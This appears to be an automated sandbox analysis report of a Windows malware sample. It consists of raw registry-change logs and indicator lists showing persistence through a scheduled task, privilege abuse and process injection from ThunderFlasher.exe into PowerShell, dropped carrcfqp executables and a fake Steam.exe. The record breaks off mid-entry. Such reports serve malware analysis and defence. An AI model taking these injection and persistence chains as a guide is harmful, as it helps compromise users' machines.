a3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000003879d48b1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c33636236613031613364383639313236393937613539616563336337373230653732623033663737386461316164363333373937653938366630396361623964000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000706b76686d786b690000000000000000cc63c2b45e183445ac2460a9bcbeb268489eb8022728ef11b1ba663bbecb1ccdcc63c2b45e183445ac2460a9bcbeb268489eb8022728ef11b1ba663bbecb1ccdd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003100360039003400390039003700390031002d0033003500340035003200330031003800310033002d0033003100350036003300320035003200300036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000043e29724000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5d45c7a2-c695-436c RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5d45c7a2-c695-436c = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\af3c46c1-742a-44fa = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000004167101431c9da0125c4a91431c9da0125c4a91431c9da016a220a000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000dc586a3f2000336362366130316133643836393132363939376135396165633363373732306537326230336637373864613161643633333739376539383666303963616239640000b20009000400efbedc586a3fdc586a3f2e000000000000000000000000000000000000000000000000001e28f000330063006200360061003000310061003300640038003600390031003200360039003900370061003500390061006500630033006300370037003200300065003700320062003000330066003700370038006400610031006100640036003300330037003900370065003900380036006600300039006300610062003900640000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000003879d48b1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c33636236613031613364383639313236393937613539616563336337373230653732623033663737386461316164363333373937653938366630396361623964000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000706b76686d786b690000000000000000cc63c2b45e183445ac2460a9bcbeb2684c9eb8022728ef11b1ba663bbecb1ccdcc63c2b45e183445ac2460a9bcbeb2684c9eb8022728ef11b1ba663bbecb1ccdd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003100360039003400390039003700390031002d0033003500340035003200330031003800310033002d0033003100350036003300320035003200300036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000043e29724000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\PackageName = "nodejs-installer.msi" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\729ee10c-088d-4405 = "\\\\?\\Volume{2497E243-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\3cb6a01a3d869126997a59aec3c7720e72b03f778da1ad633797e986f09cab9d" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b9470bf6-a793-4d28 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\af3c46c1-742a-44fa = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\729ee10c-088d-4405 RuntimeBroker.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\9C7E.tmp\\" msiexec.exe Set value (int) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\729ee10c-088d-4405 = "0" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5d45c7a2-c695-436c = "0" RuntimeBroker.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\EnvironmentPathNode = "EnvironmentPath" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\729ee10c-088d-4405 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b9470bf6-a793-4d28 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5d45c7a2-c695-436c = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000afe5151431c9da0145c0ab1431c9da0145c0ab1431c9da01ac5809000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000dc586a3f2000626565373564313736313032306638383363653235333662613034346137643764396633306137313833323261356365326134323535383966383536356137300000b20009000400efbedc586a3fdc586a3f2e00000000000000000000000000000000000000000000000000739cde00620065006500370035006400310037003600310030003200300066003800380033006300650032003500330036006200610030003400340061003700640037006400390066003300300061003700310038003300320032006100350063006500320061003400320035003500380039006600380035003600350061003700300000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000003879d48b1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c62656537356431373631303230663838336365323533366261303434613764376439663330613731383332326135636532613432353538396638353635613730000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000706b76686d786b690000000000000000cc63c2b45e183445ac2460a9bcbeb2684b9eb8022728ef11b1ba663bbecb1ccdcc63c2b45e183445ac2460a9bcbeb2684b9eb8022728ef11b1ba663bbecb1ccdd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003100360039003400390039003700390031002d0033003500340035003200330031003800310033002d0033003100350036003300320035003200300036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000043e29724000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\af3c46c1-742a-44fa RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b9470bf6-a793-4d28 = "8324" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b9470bf6-a793-4d28 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000008d1fe81331c9da018d1fe81331c9da018d1fe81331c9da01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000dc586a3f2000626565373564313736313032306638383363653235333662613034346137643764396633306137313833323261356365326134323535383966383536356137300000b20009000400efbedc586a3fdc586a3f2e00000000000000000000000000000000000000000000000000739cde00620065006500370035006400310037003600310030003200300066003800380033006300650032003500330036006200610030003400340061003700640037006400390066003300300061003700310038003300320032006100350063006500320061003400320035003500380039006600380035003600350061003700300000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000003879d48b1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c62656537356431373631303230663838336365323533366261303434613764376439663330613731383332326135636532613432353538396638353635613730000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000706b76686d786b690000000000000000cc63c2b45e183445ac2460a9bcbeb268499eb8022728ef11b1ba663bbecb1ccdcc63c2b45e183445ac2460a9bcbeb268499eb8022728ef11b1ba663bbecb1ccdd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003100360039003400390039003700390031002d0033003500340035003200330031003800310033002d0033003100350036003300320035003200300036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000043e29724000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b9470bf6-a793-4d28 RuntimeBroker.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\NodeRuntime msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\A3A70C74FE2431248AD5F8A59570C782\9E63273695FED9F4289603381C6A6C6D msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5d45c7a2-c695-436c RuntimeBroker.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\729ee10c-088d-4405 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.execarrcfqp.bqj0.exepowershell.execarrcfqp.bqj2.exeopenwith.execarrcfqp.bqj1.exepowershell.exedialer.exepid process 2492 powershell.exe 2492 powershell.exe 4748 carrcfqp.bqj0.exe 4748 carrcfqp.bqj0.exe 4632 powershell.exe 4632 powershell.exe 4632 powershell.exe 4044 carrcfqp.bqj2.exe 4044 carrcfqp.bqj2.exe 4740 openwith.exe 4740 openwith.exe 4740 openwith.exe 4740 openwith.exe 2448 carrcfqp.bqj1.exe 2220 powershell.exe 2220 powershell.exe 2220 powershell.exe 2448 carrcfqp.bqj1.exe 2448 carrcfqp.bqj1.exe 2448 carrcfqp.bqj1.exe 2448 carrcfqp.bqj1.exe 2448 carrcfqp.bqj1.exe 2448 carrcfqp.bqj1.exe 2448 carrcfqp.bqj1.exe 2448 carrcfqp.bqj1.exe 2448 carrcfqp.bqj1.exe 2448 carrcfqp.bqj1.exe 2448 carrcfqp.bqj1.exe 2448 carrcfqp.bqj1.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 2448 carrcfqp.bqj1.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe 4708 dialer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.execarrcfqp.bqj0.exepowershell.exeSteam.exepowershell.execarrcfqp.bqj1.exedialer.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exedescription pid process Token: SeDebugPrivilege 2492 powershell.exe Token: SeSecurityPrivilege 4748 carrcfqp.bqj0.exe Token: SeDebugPrivilege 4632 powershell.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeDebugPrivilege 2220 powershell.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeDebugPrivilege 2448 carrcfqp.bqj1.exe Token: SeDebugPrivilege 4708 dialer.exe Token: SeShutdownPrivilege 4456 powercfg.exe Token: SeCreatePagefilePrivilege 4456 powercfg.exe Token: SeShutdownPrivilege 2692 powercfg.exe Token: SeCreatePagefilePrivilege 2692 powercfg.exe Token: SeShutdownPrivilege 4776 powercfg.exe Token: SeCreatePagefilePrivilege 4776 powercfg.exe Token: SeShutdownPrivilege 4620 powercfg.exe Token: SeCreatePagefilePrivilege 4620 powercfg.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe Token: SeShutdownPrivilege 1764 Steam.exe Token: SeCreatePagefilePrivilege 1764 Steam.exe -
Suspicious use of FindShellTrayWindow 10 IoCs
Processes:
Explorer.EXEpid process 3448 Explorer.EXE 3448 Explorer.EXE 3448 Explorer.EXE 3448 Explorer.EXE 3448 Explorer.EXE 3448 Explorer.EXE 3448 Explorer.EXE 3448 Explorer.EXE 3448 Explorer.EXE 3448 Explorer.EXE -
Suspicious use of UnmapMainImage 4 IoCs
Processes:
Explorer.EXERuntimeBroker.exeRuntimeBroker.exepid process 3448 Explorer.EXE 3760 RuntimeBroker.exe 3960 RuntimeBroker.exe 3760 RuntimeBroker.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
ThunderFlasher.exepowershell.execarrcfqp.bqj3.execmd.execarrcfqp.bqj2.execarrcfqp.bqj0.exeSteam.execmd.exedescription pid process target process PID 4408 wrote to memory of 2492 4408 ThunderFlasher.exe powershell.exe PID 4408 wrote to memory of 2492 4408 ThunderFlasher.exe powershell.exe PID 2492 wrote to memory of 4748 2492 powershell.exe carrcfqp.bqj0.exe PID 2492 wrote to memory of 4748 2492 powershell.exe carrcfqp.bqj0.exe PID 2492 wrote to memory of 4748 2492 powershell.exe carrcfqp.bqj0.exe PID 2492 wrote to memory of 2448 2492 powershell.exe carrcfqp.bqj1.exe PID 2492 wrote to memory of 2448 2492 powershell.exe carrcfqp.bqj1.exe PID 2492 wrote to memory of 4044 2492 powershell.exe carrcfqp.bqj2.exe PID 2492 wrote to memory of 4044 2492 powershell.exe carrcfqp.bqj2.exe PID 2492 wrote to memory of 4044 2492 powershell.exe carrcfqp.bqj2.exe PID 2492 wrote to memory of 392 2492 powershell.exe carrcfqp.bqj3.exe PID 2492 wrote to memory of 392 2492 powershell.exe carrcfqp.bqj3.exe PID 2492 wrote to memory of 392 2492 powershell.exe carrcfqp.bqj3.exe PID 392 wrote to memory of 3140 392 carrcfqp.bqj3.exe cmd.exe PID 392 wrote to memory of 3140 392 carrcfqp.bqj3.exe cmd.exe PID 3140 wrote to memory of 1868 3140 cmd.exe where.exe PID 3140 wrote to memory of 1868 3140 cmd.exe where.exe PID 3140 wrote to memory of 4632 3140 cmd.exe powershell.exe PID 3140 wrote to memory of 4632 3140 cmd.exe powershell.exe PID 4044 wrote to memory of 4740 4044 carrcfqp.bqj2.exe openwith.exe PID 4044 wrote to memory of 4740 4044 carrcfqp.bqj2.exe openwith.exe PID 4044 wrote to memory of 4740 4044 carrcfqp.bqj2.exe openwith.exe PID 4044 wrote to memory of 4740 4044 carrcfqp.bqj2.exe openwith.exe PID 4044 wrote to memory of 4740 4044 carrcfqp.bqj2.exe openwith.exe PID 4748 wrote to memory of 1764 4748 carrcfqp.bqj0.exe Steam.exe PID 4748 wrote to memory of 1764 4748 carrcfqp.bqj0.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 60 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 1288 1764 Steam.exe cscript.exe PID 1764 wrote to memory of 1288 1764 Steam.exe cscript.exe PID 1764 wrote to memory of 4272 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 4272 1764 Steam.exe Steam.exe PID 1764 wrote to memory of 2012 1764 Steam.exe cscript.exe PID 1764 wrote to memory of 2012 1764 Steam.exe cscript.exe PID 3840 wrote to memory of 2240 3840 cmd.exe wusa.exe PID 3840 